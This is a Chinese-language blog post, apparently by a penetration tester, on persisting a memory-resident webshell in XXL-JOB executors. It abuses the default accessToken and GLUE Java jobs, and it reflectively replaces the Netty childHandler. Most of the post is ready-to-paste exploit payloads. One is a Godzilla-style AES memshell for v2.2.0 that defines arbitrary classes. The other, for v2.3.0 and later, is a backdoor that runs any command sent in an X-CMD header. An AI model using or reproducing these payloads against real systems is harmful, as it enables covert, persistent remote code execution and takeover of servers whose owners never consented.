XXL-JOB Executor 内存马注入
我是清都山水郎。天教分付与疏狂。曾批给雨支风券,累上留云借月章。
诗万首,酒千觞。几曾著眼看侯王。玉楼金阙慵归去,且插梅花醉洛阳。
前言
在做渗透测试的时候,发现开放了两个端口,一个是404界面
一个显示报错
1 | {"code":500,"msg":"invalid request, HttpMethod not support."} |
经过同事提醒,才发现原来是经典的xxl-job,这个时候可以访问/xxl-job-admin/
尝试弱口令登录,也可以尝试未授权或者默认 accessToken 打 Executor 执行器
POC:
1 | POST /run HTTP/1.1 |
但是在无回显+不出网的前提下,如何利用该漏洞呢
流程分析
在resources/application.properties
文件下可以看到
1 | xxl.job.accessToken=default_token |
默认为default_token
看到com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler
该类继承自SimpleChannelInboundHandler类,并重写了channelRead0
方法实现对请求的认证和处理
跟进process方法
在accessToken正确的情况下,执行到com.xxl.job.core.biz.impl.ExecutorBizImpl#run
匹配 glueType 并执行脚本
可执行
1 | GLUE_GROOVY("GLUE(Java)", false, null, null), |
既然可以执行Java脚本,那么就可以尝试注入内存马了
内存马注入
Executor是一个采用Netty框架实现的RESTful API
烽火台实验室给出的具体思路:
每次请求都将触发一次ServerBootstrap初始化,随即pipeline根据现有的ChannelInitializer#initChannel添加其他handler,若能根据这一特性找到ServerBootstrapAcceptor,反射修改childHandler,也完成handler持久化这一目标
看到Thread.currentThread().getThreadGroup();
从线程组中可以获取到ServerBootstrapAcceptor
在每次请求时都会执行channelRead方法,把传入的childHandler添加到pipeline中
1 | child.pipeline().addLast(new ChannelHandler[]{this.childHandler}); |
那么我们通过反射修改childHandler,即可实现自定义的handler,注意io.netty.channel.nio.NioEventLoop
为final匿名类,所以需要在前面加上val$
XXL-JOB v2.2.0
哥斯拉的poc:
1 | package com.xxl.job.service.handler; |
exp:
1 | "glueSource":"package com.xxl.job.service.handler;\n\nimport com.xxl.job.core.biz.impl.ExecutorBizImpl;\nimport com.xxl.job.core.server.EmbedServer;\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.*;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.timeout.IdleStateHandler;\nimport java.io.ByteArrayOutputStream;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.net.URL;\nimport java.net.URLClassLoader;\nimport java.util.AbstractMap;\nimport java.util.HashSet;\nimport java.util.concurrent.*;\n\nimport com.xxl.job.core.log.XxlJobLogger;\nimport com.xxl.job.core.biz.model.ReturnT;\nimport com.xxl.job.core.handler.IJobHandler;\n\npublic class DemoGlueJobHandler extends IJobHandler {\n public static class NettyThreadHandler extends ChannelDuplexHandler{\n String xc = \"3c6e0b8a9c15224a\";\n String pass = \"pass\";\n String md5 = md5(pass + xc);\n String result = \"\";\n private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();\n private static Class payload;\n\n private static Class defClass(byte[] classbytes)throws Exception{\n URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());\n Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n method.setAccessible(true);\n return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);\n }\n\n public byte[] x(byte[] s, boolean m) {\n try {\n javax.crypto.Cipher c = javax.crypto.Cipher.getInstance(\"AES\");\n c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), \"AES\"));\n return c.doFinal(s);\n } catch(Exception e) {\n return null;\n }\n }\n public static String md5(String s) {\n String ret = null;\n try {\n java.security.MessageDigest m;\n m = java.security.MessageDigest.getInstance(\"MD5\");\n m.update(s.getBytes(), 0, s.length());\n ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();\n } catch(Exception e) {}\n return ret;\n }\n\n @Override\n public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n if(((HttpRequest)msg).uri().contains(\"netty_memshell\")) {\n if (msg instanceof HttpRequest){\n HttpRequest httpRequest = (HttpRequest) msg;\n AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());\n requestThreadLocal.set(simpleEntry);\n }\n if(msg instanceof HttpContent){\n HttpContent httpContent = (HttpContent)msg;\n AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();\n if (simpleEntry == null){\n return;\n }\n HttpRequest httpRequest = simpleEntry.getKey();\n ByteArrayOutputStream contentBuf = simpleEntry.getValue();\n\n ByteBuf byteBuf = httpContent.content();\n int size = byteBuf.capacity();\n byte[] requestContent = new byte[size];\n byteBuf.getBytes(0,requestContent,0,requestContent.length);\n\n contentBuf.write(requestContent);\n\n if (httpContent instanceof LastHttpContent){\n try {\n byte[] data = x(contentBuf.toByteArray(), false);\n\n if (payload == null) {\n payload = defClass(data);\n send(ctx,x(new byte[0], true),HttpResponseStatus.OK);\n } else {\n Object f = payload.newInstance();\n java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();\n f.equals(arrOut);\n f.equals(data);\n f.toString();\n send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);\n }\n } catch(Exception e) {\n ctx.fireChannelRead(httpRequest);\n }\n }else {\n ctx.fireChannelRead(msg);\n }\n }\n } else {\n ctx.fireChannelRead(msg);\n }\n }\n\n private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {\n FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));\n response.headers().set(HttpHeaderNames.CONTENT_TYPE, \"text/plain; charset=UTF-8\");\n ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);\n }\n }\n\n public ReturnT<String> execute(String param) throws Exception{\n try{\n ThreadGroup group = Thread.currentThread().getThreadGroup();\n Field threads = group.getClass().getDeclaredField(\"threads\");\n threads.setAccessible(true);\n Thread[] allThreads = (Thread[]) threads.get(group);\n for (Thread thread : allThreads) {\n if (thread != null && thread.getName().contains(\"nioEventLoopGroup\")) {\n try {\n Object target;\n\n try {\n target = getFieldValue(getFieldValue(getFieldValue(thread, \"target\"), \"runnable\"), \"val\\$eventExecutor\");\n } catch (Exception e) {\n continue;\n }\n\n if (target.getClass().getName().endsWith(\"NioEventLoop\")) {\n XxlJobLogger.log(\"NioEventLoop find\");\n HashSet set = (HashSet) getFieldValue(getFieldValue(target, \"unwrappedSelector\"), \"keys\");\n if (!set.isEmpty()) {\n Object keys = set.toArray()[0];\n Object pipeline = getFieldValue(getFieldValue(keys, \"attachment\"), \"pipeline\");\n Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, \"head\"), \"next\"), \"handler\");\n setFieldValue(embedHttpServerHandler, \"childHandler\", new ChannelInitializer<SocketChannel>() {\n @Override\n public void initChannel(SocketChannel channel) throws Exception {\n channel.pipeline()\n .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle\n .addLast(new HttpServerCodec())\n .addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL\n .addLast(new NettyThreadHandler())\n .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), \"\", new ThreadPoolExecutor(\n 0,\n 200,\n 60L,\n TimeUnit.SECONDS,\n new LinkedBlockingQueue<Runnable>(2000),\n new ThreadFactory() {\n @Override\n public Thread newThread(Runnable r) {\n return new Thread(r, \"xxl-rpc, EmbedServer bizThreadPool-\" + r.hashCode());\n }\n },\n new RejectedExecutionHandler() {\n @Override\n public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {\n throw new RuntimeException(\"xxl-job, EmbedServer bizThreadPool is EXHAUSTED!\");\n }\n })));\n }\n });\n XxlJobLogger.log(\"success!\");\n break;\n }\n }\n } catch (Exception e){\n XxlJobLogger.log(e.toString());\n }\n }\n }\n }catch (Exception e){\n XxlJobLogger.log(e.toString());\n }\n return ReturnT.SUCCESS;\n }\n\n public Field getField(final Class<?> clazz, final String fieldName) {\n Field field = null;\n try {\n field = clazz.getDeclaredField(fieldName);\n field.setAccessible(true);\n } catch (NoSuchFieldException ex) {\n if (clazz.getSuperclass() != null){\n field = getField(clazz.getSuperclass(), fieldName);\n }\n }\n return field;\n }\n\n public Object getFieldValue(final Object obj, final String fieldName) throws Exception {\n final Field field = getField(obj.getClass(), fieldName);\n return field.get(obj);\n }\n\n public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {\n final Field field = getField(obj.getClass(), fieldName);\n field.set(obj, value);\n }\n}" |
XXL-JOB >=v2.3.0
在2.3.0的版本中,进行了大改,简单看一下
需要修改这两个地方,给一个修改后回显的
1 | import io.netty.util.CharsetUtil; |
exp:
1 | "glueSource":"import io.netty.util.CharsetUtil;\nimport com.xxl.job.core.biz.impl.ExecutorBizImpl;\nimport com.xxl.job.core.server.EmbedServer;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.*;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.timeout.IdleStateHandler;\n\nimport java.io.BufferedReader;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.Scanner;\nimport java.util.concurrent.*;\n\nimport com.xxl.job.core.context.XxlJobHelper;\nimport com.xxl.job.core.handler.IJobHandler;\n\npublic class DemoGlueJobHandler extends IJobHandler {\n public static class NettyThreadHandler extends ChannelDuplexHandler{\n @Override\n public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n if(((HttpRequest)msg).uri().contains(\"shell\")) {\n HttpRequest httpRequest = (HttpRequest)msg;\n if(httpRequest.headers().contains(\"X-CMD\")) {\n String cmd = httpRequest.headers().get(\"X-CMD\");\n ArrayList<String> cmdList = new ArrayList<>();\n String osTyp = System.getProperty(\"os.name\");\n if (osTyp != null && osTyp.toLowerCase().contains(\"win\")) {\n cmdList.add(\"cmd.exe\");\n cmdList.add(\"/c\");\n } else {\n cmdList.add(\"/bin/bash\");\n cmdList.add(\"-c\");\n }\n cmdList.add(cmd);\n String[] cmds = cmdList.toArray(new String[0]);\n\n InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n Scanner s = new Scanner(in).useDelimiter(\"\\\\a\");\n String execResult = s.hasNext() ? s.next() : \"\";\n send(ctx, execResult, HttpResponseStatus.OK);\n }else {\n ctx.fireChannelRead(msg);\n }\n } else {\n ctx.fireChannelRead(msg);\n }\n }\n\n private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {\n FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));\n response.headers().set(HttpHeaderNames.CONTENT_TYPE, \"text/plain; charset=UTF-8\");\n ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);\n }\n }\n\n public void execute() throws Exception{\n try{\n ThreadGroup group = Thread.currentThread().getThreadGroup();\n Field threads = group.getClass().getDeclaredField(\"threads\");\n threads.setAccessible(true);\n Thread[] allThreads = (Thread[]) threads.get(group);\n for (Thread thread : allThreads) {\n if (thread != null && thread.getName().contains(\"nioEventLoopGroup\")) {\n try {\n Object target;\n\n try {\n target = getFieldValue(getFieldValue(getFieldValue(thread, \"target\"), \"runnable\"), \"val\\$eventExecutor\");\n } catch (Exception e) {\n continue;\n }\n\n if (target.getClass().getName().endsWith(\"NioEventLoop\")) {\n XxlJobHelper.log(\"NioEventLoop find\");\n HashSet set = (HashSet) getFieldValue(getFieldValue(target, \"unwrappedSelector\"), \"keys\");\n if (!set.isEmpty()) {\n Object keys = set.toArray()[0];\n Object pipeline = getFieldValue(getFieldValue(keys, \"attachment\"), \"pipeline\");\n Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, \"head\"), \"next\"), \"handler\");\n setFieldValue(embedHttpServerHandler, \"childHandler\", new ChannelInitializer<SocketChannel>() {\n @Override\n public void initChannel(SocketChannel channel) throws Exception {\n channel.pipeline()\n .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle\n .addLast(new HttpServerCodec())\n .addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL\n .addLast(new NettyThreadHandler())\n .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), \"\", new ThreadPoolExecutor(\n 0,\n 200,\n 60L,\n TimeUnit.SECONDS,\n new LinkedBlockingQueue<Runnable>(2000),\n new ThreadFactory() {\n @Override\n public Thread newThread(Runnable r) {\n return new Thread(r, \"xxl-rpc, EmbedServer bizThreadPool-\" + r.hashCode());\n }\n },\n new RejectedExecutionHandler() {\n @Override\n public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {\n throw new RuntimeException(\"xxl-job, EmbedServer bizThreadPool is EXHAUSTED!\");\n }\n })));\n }\n });\n XxlJobHelper.log(\"success!\");\n break;\n }\n }\n } catch (Exception e){\n XxlJobHelper.log(e.toString());\n }\n }\n }\n }catch (Exception e){\n XxlJobHelper.log(e.toString());\n }\n }\n\n public Field getField(final Class<?> clazz, final String fieldName) {\n Field field = null;\n try {\n field = clazz.getDeclaredField(fieldName);\n field.setAccessible(true);\n } catch (NoSuchFieldException ex) {\n if (clazz.getSuperclass() != null){\n field = getField(clazz.getSuperclass(), fieldName);\n }\n }\n return field;\n }\n\n public Object getFieldValue(final Object obj, final String fieldName) throws Exception {\n final Field field = getField(obj.getClass(), fieldName);\n return field.get(obj);\n }\n\n public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {\n final Field field = getField(obj.getClass(), fieldName);\n field.set(obj, value);\n }\n}" |